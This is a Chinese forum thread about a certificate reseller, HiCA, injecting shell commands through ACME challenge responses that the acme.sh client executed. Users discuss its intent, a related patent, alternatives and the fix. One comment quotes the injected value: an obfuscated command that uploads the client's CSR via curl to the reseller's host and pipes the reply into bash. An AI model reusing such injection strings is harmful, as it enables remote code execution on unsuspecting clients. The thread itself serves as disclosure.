https://github.com/acmesh-official/acme.sh/issues/4659
一家来自中国证书颁发机构 HiCA 正在向 ACME 质询过程中注入任意命令,并且可以被 acme.sh 在客户端执行。
建议大家不要使用 HiCA 这家 CA ,最好仅使用知名的证书服务比如 ZeroSSL, Let's Encrypt, Google Trust Service 等。
他们甚至还申请了专利……: https://qxb-img-osscache.qixin.com/patents_pdf_new/2219395a941e8bae0e5cb4475b3b3610.pdf
1
InDom 2023-06-09 17:40:17 +08:00
什么?我又被白嫖了?
|
3
codehz 2023-06-09 17:54:59 +08:00 1
专利的内容是显示付款信息,不是 rce
|
4
baysonfox 2023-06-09 18:18:11 +08:00
OP 里提到的 issue 里有人抓到了脚本,目前还没啥大问题 (见 https://github.com/acmesh-official/acme.sh/issues/4659#issuecomment-1583615376)
|
5
NanoApe 2023-06-09 18:19:06 +08:00
看了眼,并不是恶性利用,只是为了显示付款信息和收款二维码之类的
|
6
baobao1270 OP |
8
azuis 2023-06-09 18:43:21 +08:00 1
其实专利上面有说这个 rce
"[0014] ACME 标准请求和响应格式:根据 RFC8555 之定义,ACME 的请求与响应格式均为 application/jose+json 格式,其作为 json 结构的进一步约束版本,所有的响应与请求参数 都有严格的类型要求,ACME 服务器扩展的任何非 RFC8555 标准字段,均无法被客户端所理 解,不论是展示或者去请求所返回的字段。 [0015] 但是一部分 ACME 客户端,在处理异常之时,会将消息字段或者完整的响应 body 进 行原始输出。这样就给了操作空间来扩展交互界面,例如想展示非 application/jose+json 数据给客户端,甚至数据经过特殊 unicode 处理(用 unicode 字符拼出一张二维码),在客户 端实现二维码的展示也是可行的。" 是一部分客户端异常处理输出的时候的问题。 |
9
Yadomin 2023-06-09 18:52:32 +08:00 20
|
11
james122333 2023-06-09 19:26:30 +08:00 via Android 1
这个烂脚本近八千行还 gpl 3.0 协议...
|
12
patrickyoung 2023-06-09 19:34:37 +08:00 via iPhone
有没有人可以给一下这家公司的 CA 序列号或者信任链,我在本地吊销一下以保证我的安全
|
13
buxiaozisun 2023-06-09 19:51:43 +08:00 via Android
@patrickyoung 根证书 USERTrust 中间证书 Sectigo
|
14
jKpzPv20NjX56i44 2023-06-09 19:59:20 +08:00
他们的出发点是好的... 但是就是不知道这个世界的“规则”到底是什么。为什么就不提个 pr 呢...
|
15
LeviMarvin 2023-06-09 20:06:29 +08:00
同求该公司 CA 的证书信息,我需要本地吊销
|
16
baobao1270 OP @Yadomin 毕竟他们是 CA 公司,不会用来做真正的攻击行为。
@patrickyoung @LeviMarvin 他们是 Sectigo 分销,好像没有自己的中间证书。市面上很多家 CA 都是 Sectigo 的,你吊销了 Sectigo 证书那会误伤很多网站 |
19
Trim21 2023-06-09 20:56:57 +08:00
太搞了,换 certbot 了
|
20
1423 2023-06-09 21:01:07 +08:00
草台班子论再次生效
|
21
LeviMarvin 2023-06-09 21:07:01 +08:00
HiCA 自称不是 CA ,但其在国内注册的公司经营 CA 相关的服务(例如 PKI ),而且其作为分销商如何做到提供中国大陆内的 OCSP 服务,这应当由 CA 进行。简单来说,他们( HiCA )没有就利用漏洞进行商业一事做出声明,而且还自曝以防止 DDoS 攻击为借口将流量导向 WH 。
|
22
LeviMarvin 2023-06-09 21:12:16 +08:00
@patrickyoung 坏消息,只是一个无耻的中间商
|
23
xiangyuecn 2023-06-09 21:31:42 +08:00
我说呢,去年就发现了,这家的 ACME 接口返回的内容是命令行脚本,没法正常通过 ACME 客户端去申请证书,如果要干坏事是迟早的事
------------------ 快速在线验证: https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html 打开《 HTML5 网页版 ACME 客户端后》,手动填写 ACME 地址: https://acme.hi.cn/directory ,然后随便填个域名和邮箱,点击创建两个密钥,然后就能看到 HiCA 返回的命令行文本了 刚才测试了一下,acme.hi.cn 域名解析都没了,秒关了吗 还是我的网有问题😅 |
24
xiangyuecn 2023-06-09 21:52:28 +08:00
我网的问题,刚又打开了他们的网站。。哈
接上面,填写了他们的 ACME 地址后,会提示跨域了,直接打开他们的 acme 服务地址打开控制台,然后执行一下页面代码,就能开始申请证书了,验证域名所有权的时候,切换到“文件 URL 验证”,就能看到: http://asdfas123.com/.well-known/acme-challenge/dd#acme.hi.cn/acme/v2/precheck-http/109651/179551#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/109651/179551?o=$_w|bash)# |
25
james122333 2023-06-09 22:11:55 +08:00 via Android
|
26
james122333 2023-06-09 22:17:02 +08:00 via Android
是指这个脚本写很烂
|
27
wellerman 2023-06-10 00:46:38 +08:00
这脑子好使,一看平时干过不少好事。
|
28
jim9606 2023-06-10 05:18:53 +08:00
所以我觉得还是别用 shell 写太复杂的东西,值检查难写、eval 满天飞,搞出远程代码执行太正常了,哪怕用 python 都好些,至少不会依赖 eval 实现参数注入。
@james122333 烂不烂跟用不用 GPL 有啥关系? |
29
james122333 2023-06-10 06:09:22 +08:00 via Android
|
30
marshmallow 2023-06-10 08:02:11 +08:00
|
31
everyx 2023-06-10 08:52:41 +08:00
现在用的 certbot 完全够用啦
|
32
est 2023-06-10 09:01:51 +08:00
让我想起四个字「聪明才智」
|
33
benjix 2023-06-10 09:03:38 +08:00 5
这家公司的法人就是 V2EX 上的 xoxo ,曾利用 GlobalSign 计费漏洞大量签发出售 1-5 年的 AlphaSSL 证书,后来事发被吊销
https://v2ex.com/t/178503 https://v2ex.com/t/78956 |
34
azure2023us928 2023-06-10 09:11:02 +08:00
请问,漏洞修复了,删除了 exec ,这个专利是否变的没那么有价值了?
另外,专利内容写的很好,看的出来是动了脑筋的,把现有的方案优缺点都说清楚了。 就是这个题目 ‘无头’ 两字,感觉特别生硬! 还不如叫一种 acme 商业证书智能支付模式。 不得不说,完全抛开浏览器交互,全部由命令行输出 QR 码支付,简化支付流程,也是一种进步! |
35
azure2023us928 2023-06-10 09:15:47 +08:00
建议,acme.sh 作者考虑商业支付领域的分支,采用 api 的方式或者其他更加安全的方式,为第三方证书签发机构提供一个接口,让其能通过 acme 协议进行签发。对推广 acme 协议也是一种贡献,而不仅是简单封堵漏洞!
既然有人发现了这个漏洞,而且还合理利用了,说明这个市场需求还是有的。 |
36
azure2023us928 2023-06-10 09:33:53 +08:00
另外,这个专利还有很大局限性:当用户欠费时,没有消息通知,没有自动付款的途径。总不能让命令行一直开着,等着过期弹出 QR 码吧
|
37
j8sec 2023-06-10 09:48:41 +08:00 1
@azure2023us928 邮件发送账单,用户支付后下次定时再续期;这个没有在申请文件中展开,很多边缘的拓展说明在最终申请文件里面精简了,原件 9 页,PDF 只有 4 页面。
|
39
yzc27 2023-06-10 10:24:24 +08:00
不太懂具体原理,平时只在虚拟机里临时跑 acme.sh 来更新证书,每次更新完就把新的证书拉到服务器,然后虚拟机恢复快照。想知道这个漏洞会有什么安全隐患吗?
|
40
xiangyuecn 2023-06-10 10:34:36 +08:00 1
@yzc27 #39 这种流程,直接用我的网页版吧,简单省事。顺势再推广一波😂
HTML5 网页版 ACME 客户端:只需在现代浏览器上操作即可获得 PEM 格式纯文本的域名证书,不依赖操作系统环境,无需下载和安装软件,纯手动操作,只专注于申请获得证书这一件事] https://xiangyuecn.gitee.io/acme-html-web-browser-client/ACME-HTML-Web-Browser-Client.html 相对于 shell 脚本、可执行二进制程序,浏览器端的程序天然可以简单的做到:源码可控、流量可审查,缺点也很明显 没法自动化。 |
41
yzc27 2023-06-10 11:08:46 +08:00
@xiangyuecn #40 谢谢大佬,这看起来挺不错,至少能图形化操作。我不太懂技术,用它不会把我域名申请到的证书传到别的服务器上吧?
|
42
xiangyuecn 2023-06-10 11:20:13 +08:00
@yzc27 #41 不会的,这个网页特意做成的一个单一文件,包括图标都是内嵌的;申请证书过程中请求的接口数据,可以按 F12 打开浏览器控制台查 Network 面板里面看得到,只会给选定的 ACME 接口发送数据;其中使用到的私钥只用于数据签名,私钥内容不会发送给任何人。
|
43
julyclyde 2023-06-10 11:57:43 +08:00
@azure2023us928 本来专利也不意味着价值。所以现在并不会“变得没那么”有价值
|
44
yzc27 2023-06-10 12:14:08 +08:00
@xiangyuecn #42 您这个部署到 github pages 上可行吗?
|
45
lwjef 2023-06-10 13:48:33 +08:00 via iPhone
@jim9606 #28 估计想表达的是小项目用 gpl 证书有些膈应人,不能拿来特别小修直接用,自己写个部分功能满足自己的也不难,因此不想回馈代码了。
|
46
adoyle 2023-06-10 14:30:32 +08:00
在最新版本的 acme.sh 已移除了 exec 。这个专利没用了。
https://github.com/acmesh-official/acme.sh/issues/4659#issuecomment-1584561604 |
47
xiangyuecn 2023-06-10 16:26:10 +08:00
@yzc27 #44 有 github 的,只是一个 html 文件,放电脑上也可以直接打开
https://xiangyuecn.github.io/ACME-HTML-Web-Browser-Client/ACME-HTML-Web-Browser-Client.html |